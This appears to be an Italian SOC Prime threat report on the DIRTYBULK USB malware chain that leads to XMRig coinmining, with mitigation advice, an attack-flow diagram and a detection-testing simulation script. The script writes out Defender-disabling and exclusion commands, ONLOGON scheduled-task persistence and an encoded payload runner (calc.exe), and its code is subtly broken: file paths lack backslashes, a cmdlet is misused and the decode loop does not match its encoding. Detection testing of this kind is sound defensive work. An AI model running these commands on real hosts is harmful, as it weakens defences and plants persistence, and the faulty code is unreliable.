SOC Prime Bias: Medio

02 Dic 2025 20:53

DIRTYBULK e Amici: Malware USB che Alimenta Operazioni di Coinmining

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DIRTYBULK e Amici: Malware USB che Alimenta Operazioni di Coinmining
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Il rapporto descrive in dettaglio una campagna di infezione guidata da USB che sfrutta file di scorciatoia dannosi per distribuire una catena di malware a più stadi per il mining di criptovalute. L’esecuzione iniziale carica un DLL chiamato printui.dll da una falsa directory System32, poi passa a un dropper (CUTFAIL), distribuendo ulteriormente un downloader (HIGHREPS) e una backdoor (PUMPBENCH). La backdoor PUMPBENCH comunica con un server PostgreSQL per recuperare payload aggiuntivi e alla fine avvia i miner XMRig. L’operazione mantiene la persistenza attraverso le esclusioni di Windows Defender, attività programmate e servizi rogue.

Analisi

I ricercatori di Mandiant hanno decostruito la kill chain ed evidenziato quattro famiglie principali di malware: DIRTYBULK, CUTFAIL, HIGHREPS e PUMPBENCH. Hanno catturato i modelli di denominazione dei file degli attori, l’abuso del caricamento laterale del DLL printui.dll, le modifiche al registro e gli indicatori di rete associati. L’analisi ha inoltre tracciato tecniche di persistenza, incluse attività programmate e servizi collegati al DCOMLaunch Service Group.

Mitigazione

Le difese raccomandate includono il blocco dell’esecuzione di file di scorciatoia provenienti da supporti rimovibili, il monitoraggio di comandi che aggiungono esclusioni di Windows Defender, il rilevamento di attività sospette di caricamento laterale di printui.dll e la ricerca di servizi o attività programmate che utilizzano nomi casuali a sei cifre. L’applicazione di controlli di rete contro noti domini dannosi e resolver DoH può ulteriormente limitare i canali di comando e controllo.

Risposta

Una volta rilevata, isolare il host coinvolto, rimuovere il DLL dannoso e i componenti correlati, eliminare l’attività programmata offensiva e le voci di servizio, e ripristinare le impostazioni di Windows Defender cancellando le esclusioni. Eseguire una scansione forense completa per scoprire payload residui e tracciare le connessioni all’infrastruttura PostgreSQL C2 identificata. Infine, aggiornare il contenuto di rilevamento per coprire l’uso della riga di comando osservato e i comportamenti di creazione dei file.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[“<b>Azione</b> – <b>T1674 Input Injection</b>: La vittima inserisce una USB contenente un collegamento dannoso”] class node_usb_insert action node_lnk[“<b>File</b> – <b>Collegamento Dannoso</b> (USB Drive.lnk)”] class node_lnk file node_wscript[“<b>Strumento</b> – <b>wscript.exe</b>: Esegue VBScript”] class node_wscript tool node_vbs[“<b>File</b> – <b>VBScript</b> (x??????.vbs)”] class node_vbs file node_shortcut_mod[“<b>Azione</b> – <b>T1547.009 Modifica dei Collegamenti</b>: LNK utilizzato per la persistenza”] class node_shortcut_mod action %% Masquerading and side‑loading node_masq_dir[“<b>File</b> – <b>Directory Falsa</b> C:\\Windows<space>\\System32 (spazio finale)”] class node_masq_dir file node_printui_exe[“<b>Processo</b> – <b>printui.exe</b> (legittimo)”] class node_printui_exe process node_printui_dll[“<b>File</b> – <b>printui.dll</b> (dannoso)”] class node_printui_dll file node_dll_hijack[“<b>Azione</b> – <b>T1574.001 Dirottamento del Flusso di Esecuzione: DLL</b>”] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[“<b>Comando</b> – Add‑MpPreference -ExclusionPath \”C:\\Windows <space>\””] class node_ps_exclusion command node_ps_profile[“<b>Azione</b> – <b>T1546.013 Profilo PowerShell</b>: Esegue il comando di esclusione”] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[“<b>Azione</b> – <b>T1543.003 Creazione di un Servizio Windows</b>”] class node_service_create action node_service[“<b>Servizio</b> – <b>123456</b> creato sotto DcomLaunch con ServiceDll”] class node_service service node_scheduled_task[“<b>Comando</b> – schtasks /create /tn \”console_zero\” /sc ONLOGON /tr \”C:\\Windows\\System32\\console_zero.exe\” /rl HIGHEST /f”] class node_scheduled_task command node_task_action[“<b>Azione</b> – <b>T1037.001 Script di Logon</b>: Esegue console_zero.exe all’accesso dell’utente”] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[“<b>Strumento</b> – Query DNS‑over‑HTTPS verso dns.google”] class node_doh tool node_fastflux[“<b>Azione</b> – <b>T1568.001 Fast Flux DNS</b> e <b>T1568.003 Calcolo DNS</b>”] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[“<b>Malware</b> – Miner XMRig”] class node_xmrig malware node_mining[“<b>Azione</b> – <b>T1496.001 Dirottamento delle Risorse</b>: Cryptomining sull’host compromesso”] class node_mining action %% Connections node_usb_insert –>|contiene| node_lnk node_lnk –>|esegue| node_wscript node_wscript –>|avvia| node_vbs node_vbs –>|crea directory di mascheramento| node_masq_dir node_vbs –>|copia l’eseguibile legittimo| node_printui_exe node_vbs –>|sostituisce la DLL con una versione dannosa| node_printui_dll node_printui_exe –>|carica| node_dll_hijack node_dll_hijack –>|carica la DLL dannosa| node_printui_dll node_printui_dll –>|attiva| node_ps_exclusion node_ps_exclusion –>|eseguito tramite| node_ps_profile node_ps_profile –>|crea| node_service_create node_service_create –>|crea| node_service node_service –>|abilita| node_scheduled_task node_scheduled_task –>|esegue al logon| node_task_action node_task_action –>|scarica l’indirizzo C2 tramite| node_doh node_doh –>|utilizza| node_fastflux node_fastflux –>|fornisce l’indirizzo per| node_xmrig node_xmrig –>|esegue| node_mining

Flusso di attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria e Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati condurranno a una diagnosi errata.

  • Narrativa di Attacco & Comandi:

    1. Fase 1 – Distribuire il VBScript dannososul drive USB compromesso (es.E:payload.vbs). Lo script disabilita la protezione in tempo reale di Windows Defender usandoAdd‑MpPreference, crittografa un payload con una routine XOR e crea un’attività programmata per la persistenza.

    2. Fase 2 – Eseguire lo script tramitewscript.exepassando direttamente la riga di comando della persistenza (per soddisfare la condizione congiuntiva della regola).

    3. Fase 3 – Lo script invoca internamente PowerShell per eseguire il payload crittografato, dimostrando la “catena di infezione”.

    4. Fase 4 – Dopo l’esecuzione, l’attaccante pulisce gli artefatti(rimuove lo script, elimina l’attività programmata).

  • Script di Test di Regressione:

    # ------------------------------------------------------------
    # Test di Regressione – Simulazione della Catena di Infezione da Malware
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Creare un payload dummy crittografato XOR --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Scrivere VBScript dannoso -------------------------------------------
    @"
    ' Malicious VBScript – infection chain
    Set sh = CreateObject("WScript.Shell")
    ' Disable real‑time protection
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Create scheduled task for persistence
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Decrypt and execute payload
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Execute the script via wscript.exe (triggers the rule) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Optional) Wait a few seconds for the task to fire ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Cleanup – remove script and scheduled task
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Comandi di Pulizia:

    # Rimuovi attività programmata residua (se ancora presente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Rimuovere eventuali file script residui
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Riabilitare protezione in tempo reale
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"